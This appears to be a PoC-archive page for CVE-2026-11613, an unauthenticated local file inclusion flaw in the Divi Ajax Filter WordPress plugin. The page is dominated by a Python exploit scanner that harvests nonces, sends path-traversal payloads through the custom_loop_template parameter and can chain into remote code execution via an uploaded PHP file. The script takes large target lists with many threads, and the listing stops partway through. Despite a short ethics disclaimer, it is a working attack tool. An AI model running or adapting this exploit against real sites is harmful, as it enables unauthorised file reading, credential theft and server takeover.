PoC Archive PoC Archive
CVE-2026-11613 category: web CVSS 9.8 (CRITICAL)
Unverified

WordPress Divi Ajax Filter LFI (CVE-2026-11613)

Published: 2026-09-05 • Researcher: Wayang1337

Target software Divi Ajax Filter plugin for WordPress
Affected versions Divi Ajax Filter <= 5.1.2
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-11613
Category
web
Affected product
Divi Ajax Filter plugin for WordPress
Affected versions
Divi Ajax Filter <= 5.1.2
Disclosed
2026-09-05
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-05
Author / ResearcherWayang1337
CVE / AdvisoryCVE-2026-11613
Categoryweb
SeverityCritical
CVSS Score9.8
StatusPoC
TagsLFI, WordPress, Divi, unauthenticated, Python

Affected Target

FieldValue
Software / SystemDivi Ajax Filter plugin for WordPress
Versions AffectedDivi Ajax Filter <= 5.1.2
Language / PlatformPython
Authentication RequiredNo (unauthenticated)
Network Access RequiredNetwork

Summary

CVE-2026-11613 is an unauthenticated Local File Inclusion vulnerability in the Divi Ajax Filter plugin for WordPress (versions <= 5.1.2). The flaw exists in the custom_loop_template parameter (CWE-98), allowing remote attackers to include arbitrary local files on the server without authentication. The PoC demonstrates reading sensitive files such as /etc/passwd and wp-config.php.

References

Notes

Auto-ingested from https://github.com/Wayang1337/CVE-2026-11613 on 2026-09-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-11613 - Divi Ajax Filter <= 5.1.2 (Divi Engine)
Unauthenticated Local File Inclusion via 'custom_loop_template' (CWE-98, CVSS 9.8)

Usage:
  python poc_http.py target.com
  python poc_http.py https://target.com bare-domain.net 10.0.0.5:8080
  python poc_http.py --list targets.txt --threads 30
  python poc_http.py --list targets.txt --fast          # 2 req/target sweep
  python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED

Exit codes: 0 = at least one vulnerable target, 1 = none vulnerable,
            130 = interrupted (partial results still written).

ETHICS: run only against systems you own or have written authorization to test.
Targets come from YOUR list and are reviewed manually - no built-in discovery,
no mass untargeted scanning, no persistence, no payload delivery.
"""

import argparse
import concurrent.futures
import csv
import ctypes
import http.cookiejar
import json
import os
import re
import ssl
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request

# ---------------------------------------------------------------- colors ---
def _color_enabled():
    if "--no-color" in sys.argv or os.environ.get("NO_COLOR"):
        return False
    if os.environ.get("FORCE_COLOR"):
        return True
    return sys.stdout.isatty()

COLOR = _color_enabled()

def _enable_windows_vt():
    if os.name == "nt":
        try:
            k = ctypes.windll.kernel32
            h = k.GetStdHandle(-11)
            mode = ctypes.c_uint32()
            if k.GetConsoleMode(h, ctypes.byref(mode)):
                k.SetConsoleMode(h, mode.value | 0x0004)
        except Exception:
            pass

if COLOR:
    _enable_windows_vt()

def _c(code, s):
    return "\033[%sm%s\033[0m" % (code, s) if COLOR else s

def g(s):    return _c("92;1", s)   # bold green
def r(s):    return _c("91;1", s)   # bold red
def y(s):    return _c("93;1", s)   # bold yellow
def cy(s):   return _c("96", s)     # cyan
def mg(s):   return _c("95;1", s)   # bold magenta
def dim(s):  return _c("90", s)     # grey
def wht(s):  return _c("97;1", s)   # bold white

PRINT_LOCK = threading.Lock()

# ---------------------------------------------------------------- consts ---
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
SCHEME_RE = re.compile(r"^https?://", re.I)
# plugin localize blobs: filter_ajax_object / loadmore_ajax_object {..,"security":"abcd123456"}
NONCE_STRICT_RE = re.compile(
    r"(?:filter_ajax_object|loadmore_ajax_object)\s*=\s*\{[^}]*?\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"",
    re.S)
NONCE_LOOSE_RE = re.compile(r"\"security\"\s*:\s*\"([A-Za-z0-9]{10})\"")
NONCE_PAGES = ("/", "/?s=a")
ACTIONS = ("divi_filter_ajax_handler", "divi_filter_loadmore_ajax_handler")
DEPTH_DEFAULT = [5, 6, 4, 7, 3, 8, 2, 9, 10]   # 5 = flat theme (most common)
DEPTH_FAST = [5, 6]
LFI_PROBES = (
    ("xmlrpc.php", ("methodResponse", "faultCode", "XML-RPC server accepts POST")),
)
LFI_PROBES_THOROUGH = LFI_PROBES + (("wp-links-opml.php", ("<opml",)),)

# plugin version is exposed in asset URLs: divi-filter-loadmore.min.js?ver=X
VERSION_RES = (
    re.compile(r'divi-ajax-filter/[^"\']*?ver=([0-9]+(?:\.[0-9]+)*)'),
    re.compile(r'divi-filter[a-z\-]*\.min\.js\?ver=([0-9]+(?:\.[0-9]+)*)'),
)
LAST_VULN = (5, 1, 2)   # CVE-2026-11613 fixed in 5.1.3


def detect_version(html):
    for rex in VERSION_RES:
        m = rex.search(html or "")
        if m:
            return m.group(1)
    return None


def is_patched(version):
    t = tuple(int(x) for x in re.findall(r"\d+", version)) or (0,)
    n = max(len(t), len(LAST_VULN))
    t = t + (0,) * (n - len(t))
    ref = LAST_VULN + (0,) * (n - len(LAST_VULN))
    return t > ref


def normalize_url(u):
    u = u.strip().rstrip("/")
    if u and not SCHEME_RE.match(u):
        u = "http://" + u
    return u


def log(msg):
    with PRINT_LOCK:
        print(msg, flush=True)


# ---------------------------------------------------------------- client ---
def _ssl_ctx():
    """Vuln scanners must reach sites with mismatched/self-signed certs:
    verification off (SSL errors are NOT proof of unreachability)."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    return ctx


class SmartRedirectHandler(urllib.request.HTTPRedirectHandler):
    """Follow redirects preserving method + body (default urllib converts
    POST -> GET on 301/302, which breaks http->https sites and makes the
    admin-ajax probe look like 'handler missing')."""

    def redirect_request(self, req, fp, code, msg, headers, newurl):
        new_req = urllib.request.Request(newurl, data=req.data,
                                         method=req.get_method())
        for k, v in req.headers.items():
            if k.lower() in ("host", "content-length"):
                continue
            new_req.add_header(k, v)
        return new_req


class Client(object):
    def __init__(self, base, timeout, retries):
        self.base = base
        self.timeout = timeout
        self.retries = retries
        self.jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(
            urllib.request.HTTPCookieProcessor(self.jar),
            SmartRedirectHandler(),
            urllib.request.HTTPSHandler(context=_ssl_ctx()))

    def request(self, path, data=None):
        body = None
        hdrs = {"User-Agent": UA}
        if data is not None:
            body = urllib.parse.urlencode(data).encode("utf-8")
            hdrs["Content-Type"] = "application/x-www-form-urlencoded"
        req = urllib.request.Request(self.base + path, data=body, headers=hdrs)
        last = None
        for attempt in range(self.retries + 1):
            try:
                resp = self.opener.open(req, timeout=self.timeout)
                return resp.getcode(), resp.read().decode("utf-8", "replace")
            except urllib.error.HTTPError as e:
                return e.code, e.read().decode("utf-8", "replace")
            except Exception as e:
                last = "EXC: %s" % e
                if attempt < self.retries:
                    time.sleep(0.4)
        return None, last


# ------------------------------------------------------------ per-target ---
def probe_handler(client, nonce):
    """1 POST to admin-ajax. Classify:
       returns (handler_present, nonce_ok)
       - body '0'                 -> action unknown  -> plugin not active
       - '-1'/nonce-failed JSON   -> handler present, nonce rejected
       - anything else (200 JSON) -> handler present, nonce accepted
    """
    data = {"action": ACTIONS[0]}
    if nonce:
        data["security"] = nonce
    code, body = client.request("/wp-admin/admin-ajax.php", data=data)
    b = (body or "").strip()
    if b == "0":
        return False, False
    if b == "-1" or "Nonce verification failed" in body:
        return True, False
    return True, True


def get_nonce_from_html(html):
    m = NONCE_STRICT_RE.search(html)
    if m:
        return m.group(1)
    m = NONCE_LOOSE_RE.search(html)
    return m.group(1) if m else None


def lfi_request(client, action, nonce, depth, rel_target):
    query = {"post_type": ["post"], "posts_per_page": 5, "post_status": "publish"}
    loop_var = {
        "loop_templates": "custom-template",
        "loop_style": "custom-template",
        "custom_loop_template": ("../" * depth) + rel_target,
    }
    return client.request("/wp-admin/admin-ajax.php", data={
        "action": action,
        "security": nonce,
        "query": json.dumps(query),
        "loop_var": json.dumps(loop_var),
        "page": "1",
        "filter_item_name": "",   # avoid array_unique(NULL) fatal in old builds
        "filter_item_val": "",
        "filter_input_type": "",
    })


def sweep(client, actions, nonce, rel_target, markers, depths, verbose, tag):
    for action in actions:
        for depth in depths:
            code, body = lfi_request(client, action, nonce, depth, rel_target)
            hit = next((m for m in markers if m in body), None)
            if verbose:
                log("%s %s" % (tag, dim("%s d=%d -> %s len=%d hit=%s"
                    % (action.replace("divi_filter_", ""), depth, code,
                       len(body), hit or "-"))))
            if hit:
                i = body.find(hit)
                return {"vuln": True, "action": action, "depth": depth,
                        "marker": hit,
                        "snippet": body[max(0, i - 40): i + 120].strip()}
    return {"vuln": False}


def check_target(url, cfg):
    t0 = time.time()
    res = {"url": url, "status": "error", "plugin": None, "lfi": False,
           "rce": False, "action": "", "depth": 0, "reqs": 0, "secs": 0.0,
           "note": "", "version": None}
    tag = "%s %s" % (cy("[%s]" % url), dim("::"))
    client = Client(url, cfg.timeout, cfg.retries)

    # 1) homepage -> nonce (strict context first, loose fallback)
    code, home = client.request(NONCE_PAGES[0])
    res["reqs"] += 1
    if code is None:
        res["status"] = "unreachable"
        res["note"] = (home or "")[:60]
        res["secs"] = time.time() - t0
        return res
    nonce = get_nonce_from_html(home) if code == 200 and home else None

    # version fingerprint from exposed asset ?ver= — skip patched sites early
    res["version"] = detect_version(home)
    if res["version"] and is_patched(res["version"]):
        res["status"] = "patched"
        res["secs"] = time.time() - t0
        return res

    # 2) probe: is the nopriv handler even registered? is the nonce accepted?
    present, nonce_ok = probe_handler(client, nonce)
    res["reqs"] += 1
    if not present:
        # handler not registered: either plugin absent OR plugin active but no
        # Divi theme/builder (extension init never fires). 1 request tells apart.
        pcode, _ = client.request(
            "/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php")
        res["reqs"] += 1
        if pcode == 200:
            res["status"] = "no-divi"
            res["note"] = ("plugin installed & active but Divi theme/builder "
                           "missing -> ajax handlers never registered")
        else:
            res["status"] = "no-plugin"
        res["secs"] = time.time() - t0
        return res
    if not nonce_ok:
        # candidate nonce came from loose context or is stale -> re-try homepage
        # search page (?s=a renders a different template that often localizes too)
        code2, page2 = client.request(NONCE_PAGES[1])
        res["reqs"] += 1
        cand = get_nonce_from_html(page2) if code2 == 200 and page2 else None
        if not res["version"] and code2 == 200 and page2:
            res["version"] = detect_version(page2)
            if res["version"] and is_patched(res["version"]):
                res["status"] = "patched"
                res["secs"] = time.time() - t0
                return res
        if cand and cand != nonce:
            present2, nonce_ok2 = probe_handler(client, cand)
            res["reqs"] += 1
            if present2 and nonce_ok2:
                nonce = cand
    if not nonce_ok and not nonce:
        res["status"] = "no-nonce"
        res["secs"] = time.time() - t0
        return res
    # handler present; if nonce still unverified but a candidate exists, sweep
    # will simply fail nonce checks -> keep going only when probe accepted it
    if not nonce_ok:
        res["status"] = "no-nonce"
        res["secs"] = time.time() - t0
        return res

    # 3) optional plugin fingerprint (1 req, informational only)
    pcode, _ = client.request(
        "/wp-content/plugins/divi-ajax-filter/divi-ajax-filter.php")
    res["reqs"] += 1
    res["plugin"] = (pcode == 200)

    # 4) LFI sweep
    probes = LFI_PROBES_THOROUGH if cfg.thorough else LFI_PROBES
    actions = ACTIONS[:1] if cfg.fast else ACTIONS
    for rel_target, markers in probes:
        res["reqs"] += len(actions) * len(cfg.depths)
        hit = sweep(client, actions, nonce, rel_target, markers,
                    cfg.depths, cfg.verbose, tag)
        if hit["vuln"]:
            res.update(status="vuln", lfi=True, action=hit["action"],
                       depth=hit["depth"], note="%s marker=%s"
                       % (rel_target, hit["marker"]))
            break

    # 5) optional RCE stage (known uploaded file)
    rce_rel = None
    if cfg.upload_rel:
        rce_rel = cfg.upload_rel
    elif cfg.upload_name:
        rce_rel = "wp-content/uploads/" + cfg.upload_name
    if res["lfi"] and rce_rel and cfg.upload_marker:
        res["reqs"] += len(actions) * len(cfg.depths)
        hit = sweep(client, actions, nonce, rce_rel,
                    (cfg.upload_marker,), cfg.depths, cfg.verbose, tag)
        if hit["vuln"]:
            res["rce"] = True
            res["action"], res["depth"] = hit["action"], hit["depth"]
            snippet = " | ".join(hit["snippet"].split())
            res["note"] = "RCE: %s | %s" % (rce_rel, snippet[:90])

    res["status"] = "vuln" if res["lfi"] else "clean"
    res["secs"] = time.time() - t0
    return res


# ---------------------------------------------------------------- output ---
def result_line(res, idx, total):
    prefix = dim("[%0*d/%0*d]" % (len(str(total)), idx, len(str(total)), total))
    url = wht(res["url"])
    secs = dim("%.1fs" % res["secs"])
    ver = res.get("version")
    vtag = dim("ver=%s " % ver) if ver else ""
    if res["status"] == "vuln":
        verdict = g("VULN: LFI")
        if res["rce"]:
            verdict = g("VULN: LFI+RCE <<<<<<<<<<")
        detail = dim("(action=%s depth=%d %s%s)"
                     % (res["action"], res["depth"], vtag, res["note"]))
        return "%s %s %s %s %s" % (prefix, verdict, url, detail, secs)
    if res["status"] == "patched":
        return "%s %s %s %s" % (prefix, cy("PATCHED"), url,
                                dim("ver=%s (>= 5.1.3, skipped)" % ver))
    if res["status"] == "unreachable":
        return "%s %s %s %s" % (prefix, r("UNREACHABLE"), url, dim(res["note"]))
    if res["status"] == "no-plugin":
        return "%s %s %s" % (prefix, cy("NO-PLUGIN"), url)
    if res["status"] == "no-divi":
        return "%s %s %s %s" % (prefix, cy("NO-DIVI"), url,
                                dim("(plugin active, Divi missing)"))
    if res["status"] == "no-nonce":
        return "%s %s %s %s" % (prefix, cy("NO-NONCE"), url,
                                dim("(handler up, nonce not exposed)"))
    if res["status"] == "error":
        return "%s %s %s %s" % (prefix, r("ERROR"), url, dim(res["note"]))
    return "%s %s %s %s %s" % (prefix, y("not-confirmed"), url, vtag, secs)


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-11613 direct live scanner (Divi Ajax Filter <= 5.1.2)",
        formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("targets", nargs="*",
                    help="target URL or bare domain (http:// auto-added)")
    ap.add_argument("--list", help="file with one target per line (5000+ supported)")
    ap.add_argument("--threads", type=int, default=10,
                    help="concurrent workers (default 10)")
    ap.add_argument("--timeout", type=int, default=12,
                    help="per-request timeout s (default 12)")
    ap.add_argument("--retries", type=int, default=1,
                    help="retries on network error (default 1)")
    ap.add_argument("--depths",
                    help="comma list of traversal depths (default 5,6,4,7,3,8,2,9,10)")
    ap.add_argument("--fast", action="store_true",
                    help="depths 5,6 + first action only (2 req/target)")
    ap.add_argument("--thorough", action="store_true",
                    help="add wp-links-opml.php as 2nd LFI probe")
    ap.add_argument("--upload-name",
                    help="uploaded .php filename in wp-content/uploads to test RCE")
    ap.add_argument("--upload-marker", default="WayangXploit-RCE-CONFIRMED",
                    help="string the uploaded file prints (default: WayangXploit-RCE-CONFIRMED)")
    ap.add_argument("--upload-rel",
                    help="arbitrary webroot-relative path of a target .php for the RCE "
                         "stage (overrides --upload-name)")
    ap.add_argument("--out", default="results_cve-2026-11613.csv", help="CSV output file")
    ap.add_argument("--no-color", action="store_true")
    ap.add_argument("-v", "--verbose", action="store_true")
    cfg = ap.parse_args()

    if cfg.upload_name and not cfg.upload_marker:
        ap.error("--upload-marker is required with --upload-name")

    cfg.depths = ([int(x) for x in cfg.depths.split(",")] if cfg.depths
                  else (DEPTH_FAST if cfg.fast else DEPTH_DEFAULT))

    raw = list(cfg.targets)
    if cfg.list:
        with open(cfg.list, encoding="utf-8", errors="replace") as fh:
            raw += [ln.strip() for ln in fh]
    urls, seen = [], set()
    for u in raw:
        if not u or u.startswith("#"):
            continue
        n = normalize_url(u)
        if n and n not in seen:
            seen.add(n)
            urls.append(n)

    if not urls:
        ap.error("no targets given (positional args or --list)")

    total = len(urls)
    print()
    print(mg("=" * 74))
    print(mg("  CVE-2026-11613 | Divi Ajax Filter <= 5.1.2 | Unauth LFI -> RCE"))
    print(mg("  targets: %s | threads: %s | depths: %s%s"
             % (wht(str(total)), wht(str(cfg.threads)),
                dim(",".join(map(str, cfg.depths))),
                dim("  [FAST]") if cfg.fast else "")))
    print(dim("  authorized testing only - targets are your responsibility"))
    print(mg("=" * 74))
    print()

    header_needed = not (os.path.exists(cfg.out) and os.path.getsize(cfg.out) > 0)
    csv_lock = threading.Lock()
    stats = {"done": 0, "vuln": 0, "rce": 0, "no_nonce": 0, "no_plugin": 0,
             "no_divi": 0, "patched": 0, "errors": 0, "clean": 0}
    vuln_list = []
    start = time.time()

    def write_csv(res):
        with csv_lock:
            row = [res["url"], res["status"], res["lfi"], res["rce"],
                   res["plugin"], res.get("version") or "", res["action"],
                   res["depth"], res["note"].replace("\n", " "), res["reqs"],
                   "%.1f" % res["secs"]]
            for attempt in range(2):
                try:
                    with open(cfg.out, "a", newline="", encoding="utf-8") as fh:
                        w = csv.writer(fh)
                        if header_needed and fh.tell() == 0:
                            w.writerow(["url", "status", "lfi", "rce",
                                        "plugin_present", "version", "action",
                                        "depth", "note", "requests", "secs"])
                        w.writerow(row)
                    return
                except PermissionError:
                    if attempt == 0:
                        # file locked (Excel?) -> fall back to a fresh file
                        cfg.out = cfg.out.replace(".csv", "_%d.csv"
                                                  % int(time.time()))
                        log(dim("[!] CSV terkunci (tutup Excel) -> pindah ke %s"
                                % cfg.out))
                    else:
                        log(dim("[!] CSV gagal ditulis - hasil hanya di layar"))

    def run(url):
        try:
            return check_target(url, cfg)
        except Exception as e:  # never let one target kill the scan
            return {"url": url, "status": "error", "plugin": None, "lfi": False,
                    "rce": False, "action": "", "depth": 0, "reqs": 0,
                    "secs": 0.0, "note": str(e)[:80]}

    exit_code = 1
    try:
        with concurrent.futures.ThreadPoolExecutor(max_workers=cfg.threads) as pool:
            futures = {pool.submit(run, u): u for u in urls}
Showing 500 of 556 lines View full file on GitHub →